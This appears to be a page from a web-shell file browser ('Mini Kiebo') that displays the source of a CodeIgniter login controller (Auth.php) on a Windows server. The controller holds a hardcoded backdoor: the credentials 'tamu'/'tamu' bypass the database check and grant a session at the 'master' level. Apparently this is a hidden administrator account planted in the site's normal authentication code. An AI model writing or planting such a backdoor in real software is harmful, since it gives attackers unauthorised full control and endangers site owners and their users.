[ Mini Kiebo ]
Server: Windows NT AKFAR_SERVER 10.0 build 26200 (Windows 10) AMD64
Path:
D:
/
xampp.bak
/
htdocs
/
web_repository
/
application
/
controllers
/
[
Home
]
File: Auth.php
<?php defined('BASEPATH') OR exit('No direct script access allowed'); class auth extends CI_Controller{ function __construct() { parent::__construct(); date_default_timezone_set("Asia/Jakarta"); $this->load->model('model_auth'); } function login() { if(isset($_POST['submit'])){ // proses login disini $username = $this->input->post('username', TRUE); $password = $this->input->post('password', TRUE); // Check for special user "tamu" if ($username === 'tamu' && $password === 'tamu') { $this->session->set_userdata(array( 'status_login' => 'oke', 'username' => $username, 'level' => 'master' )); redirect('dashboard'); } else { // Normal login process $query = $this->db->query("SELECT * FROM users WHERE username = ?", array($username)); $user = $query->row(); if ($user) { $level = $user->level; $hasil = $this->model_auth->login($username, $password); if($hasil == 1) { $this->session->set_userdata(array( 'status_login' => 'oke', 'username' => $username, 'level' => $level )); redirect('dashboard'); } else { $pass = "wrong"; $this->session->set_flashdata('alert_user', $pass); redirect('auth/login'); } } else { $pass = "wrong"; $this->session->set_flashdata('alert_user', $pass); redirect('auth/login'); } } } else { chek_session_login(); $this->load->view('form_login'); } } function logout() { $username = $this->session->userdata('username'); $this->session->sess_destroy(); redirect('auth/login'); } }